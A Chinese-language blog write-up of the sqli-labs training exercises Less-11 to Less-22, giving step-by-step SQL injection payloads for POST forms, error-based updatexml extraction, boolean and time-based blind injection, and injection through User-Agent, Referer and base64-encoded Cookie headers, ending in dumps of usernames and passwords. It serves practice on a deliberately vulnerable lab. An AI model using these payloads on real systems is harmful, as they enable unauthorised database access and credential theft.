SQL注入 sql-lab 11~22

目录

Less-11 基于 ' 的POST型注入

Less-12 基于 ") 的POST型注入 

Less-13 基于')的错误回显注入

Less-14 基于"的错误回显注入

Less-15 基于布尔型/时间延迟单引号POST型盲注

Less-16 基于布尔型/时间延迟的双引号POST型盲注

Less-17 基于’的密码报错注入

Less-18 基于'的User-Agent报头文报错注入

Less-19 基于'的Referer报头文报错注入

Less-20 基于 ' 的Cookie报头文报错注入

         Less-21 基于base64编码单引号和括号的Cookie注入

Less-22 基于base64编码和双引号的Cookie注入


Less-11 基于 ' 的POST型注入

开始post注入了

先万能密码试一下,发现是直接有回显,说明这是一个注入点,且是单引号闭合

SQL注入 sql-lab 11~22_第1张图片

接下来按照流程,我们要判断字段数,但是通过 GET型注入?id=数据 order by n --+就不可以了

这里直接使用union联合查询,也就是查看字段回显

 -1' union select 1,2 # 

SQL注入 sql-lab 11~22_第2张图片

当查询1,2时正常返回,3的时候报错,也就是字段有两个,当然我们显而易见知道这两个都可以回显。

直接在username表单正常注入以下语句即可,不赘述了

-1' union select 1,database() #

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

 直接在表单注不方便,在Hackbar里面POST传参即可

不过首先查看表单的名称,此处就是uname和passwd

SQL注入 sql-lab 11~22_第3张图片

这两种方式都可以

 uname=-1' union select 1,database() #&passwd=1

 uname=1&passwd=-1' union select 1,database() # 

Less-12 基于 ") 的POST型注入 

双引号和括号闭合,其余同上

SQL注入 sql-lab 11~22_第4张图片

Less-13 基于')的错误回显注入

输入这个变蓝,说明是')的闭合,但是没有正确数据的回显

1') or 1=1 #

 尝试后发现有错误的提示,报错注入试一下,直接用hackbar了

updatexml函数

uname=-1') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1 爆库名

uname=-1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='security' limit 3,1),0x7e),1) #&passwd=1 爆表名


uname=-1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema ='security' and table_name='users' limit 1,1),0x7e),1) #&passwd=1  爆字段

uname=-1') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 1,1),0x7e),1) #&passwd=1 查字段内容,这里0x3a是冒号

Less-14 基于"的错误回显注入

双引号闭合,其余同上

Less-15 基于布尔型/时间延迟单引号POST型盲注

万能密码试来试去,是单引号闭合

SQL注入 sql-lab 11~22_第5张图片

这次没有报错信息,只有蓝色红色的提示也就代表布尔的true和false,可以布尔盲注

注意这里盲注和GET不同,用or来判断后面的等式

1'  or length(database())=8 #

uname=1' or length(database())=8 #&passwd=1

我继续尝试了一下bp爆破库名,成功! 不太明白的看我上一篇文章,多试几次

uname=1' or  substr(database(),1,1)='s'  #&passwd=1

SQL注入 sql-lab 11~22_第6张图片

爆表: 

uname=1' or  substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'  #&passwd=1

SQL注入 sql-lab 11~22_第7张图片

 爆字段:

uname=1' or  substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u'  #&passwd=1

SQL注入 sql-lab 11~22_第8张图片

爆内容:

uname=1' or  substr((select username from security.users limit 0,1),1,1)='d'  #&passwd=1

SQL注入 sql-lab 11~22_第9张图片 (密码也是一样的)

 

Less-16 基于布尔型/时间延迟的双引号POST型盲注

 这题是双引号和括号闭合,其余与15题一样的

那在这里使用一下时间盲注吧

要想延时注入,也可以。要转变为万能密码的形式

1' or if(1,1,sleep(5)) #      ------->这样的语句变成了1' or 1=1 -- #相当于万能语句

(正确的时候直接返回,不正确的时候等待 5 秒钟)

常用的判断语句:

' or if(1,1,sleep(5)) -- #

" or if(1,1, sleep(5)) -- #

) or if(1,1, sleep(5)) -- #

') or if(1,1, sleep(5)) -- #

") or if(1,1, sleep(5)) -- #

uname=1") or  if(length(database())=8,1,sleep(1))  #&passwd=1

uname=1") or  if(substr((select database()),1,1)='s',1,sleep(1))  #&passwd=1

uname=1") or  if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(1))  #&passwd=1

uname=1") or  if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(1))  #&passwd=1

uname=1") or  if(substr((select username from security.users limit 0,1),1,1)='d',1,sleep(1))  #&passwd=1

Less-17 基于’的密码报错注入

场景说是重置密码,默认已知用户名

在密码栏里注入

SQL注入 sql-lab 11~22_第10张图片

uname=admin&passwd=1' or 1='1 

 能判断是单引号闭合且有报错信息,我们使用报错注入

uname=admin&passwd=1' and updatexml(1,concat(0x7e,database(),0x7e),1) #

剩下同第13题

Less-18 基于'的User-Agent报头文报错注入

注入点不在表单,这题背景是注册登录过后的注入,输入正确值之后显示 User-Agent

SQL注入 sql-lab 11~22_第11张图片

在user-agent

hackbar或者抓包报错注入

这里要注意一下不能使用注释符,因为源码中 user-agent后面还有信息,直接注释就错误了

所以我们用and ' 来闭合一下后面的单引号即可

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

SQL注入 sql-lab 11~22_第12张图片

Less-19 基于'的Referer报头文报错注入

也是换了注入点在 referer里报错注入,方法同上

SQL注入 sql-lab 11~22_第13张图片

Less-20 基于 ' 的Cookie报头文报错注入

这题是在cookie里注入用户信息,有正确回显

uname=1' union select 1,2,3 -- #

SQL注入 sql-lab 11~22_第14张图片

 直接最普通的字符注入即可

uname=1' union select 1,2,database() #

uname=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' #

uname=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' #

uname=1' union select 1,2,group_concat(username,0x3a,password)from security.users  #

 Less-21 基于base64编码单引号和括号的Cookie注入

说是cookie的uname需要base64编码,我也没找出啥线索,跟着做吧

1') union select 1,2,3-- # 

MScpIHVuaW9uIHNlbGVjdCAxLDIsMy0tICM=

SQL注入 sql-lab 11~22_第15张图片

Less-22 基于base64编码和双引号的Cookie注入

相较于上题,使用双引号闭合就可

1" union select 1,2,3 #

MSIgdW5pb24gc2VsZWN0IDEsMiwzICM=

SQL注入 sql-lab 11~22_第16张图片 

你可能感兴趣的:(刷题,wp,sql,数据库,database,安全,ctf)